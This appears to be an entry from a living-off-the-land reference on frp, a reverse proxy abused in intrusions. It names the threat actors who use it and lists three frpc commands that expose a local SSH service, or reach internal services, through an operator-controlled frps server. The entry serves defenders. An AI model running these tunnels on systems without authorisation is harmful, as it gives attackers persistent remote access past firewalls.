.. /frp
Star

Access

frp (Fast Reverse Proxy) is a self-hosted reverse proxy that exposes local HTTP, TCP and UDP services behind NAT or a firewall to the internet through an attacker-controlled frps server. Because both the frps server and frpc client are operator-run, there is no vendor domain to block. It is one of the most widely abused tunneling tools in real intrusions, observed with Volt Typhoon/VOLTZITE, Cobalt Mirage, LightBasin and BIOPASS RAT, and is called out in the NSA/CISA “Living off the Land” guidance.

Paths:

Resources:

Detections:

Access

  1. Starts the frp client using an frpc.ini/frpc.toml configuration that points at an operator-controlled frps server, exposing configured local services through it.

    frpc -c frpc.ini
    Use case
    Quick execution of frp to expose local services through a remote frps server.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Forwards a public port (6000) on the frps server to a local service such as SSH (22), giving remote access to a host behind NAT or a firewall.

    frpc tcp --server-addr <FRPS_IP> --server-port 7000 --local-port 22 --remote-port 6000
    Use case
    Maintaining remote access to an internal host.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  3. Connects to a secret TCP (stcp) tunnel published by another frpc client via the shared frps server, reaching an internal service without opening a public port.

    frpc stcp --role visitor --server-addr <FRPS_IP> --sk <SECRET>
    Use case
    Reaching an internal service through a private frp tunnel.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS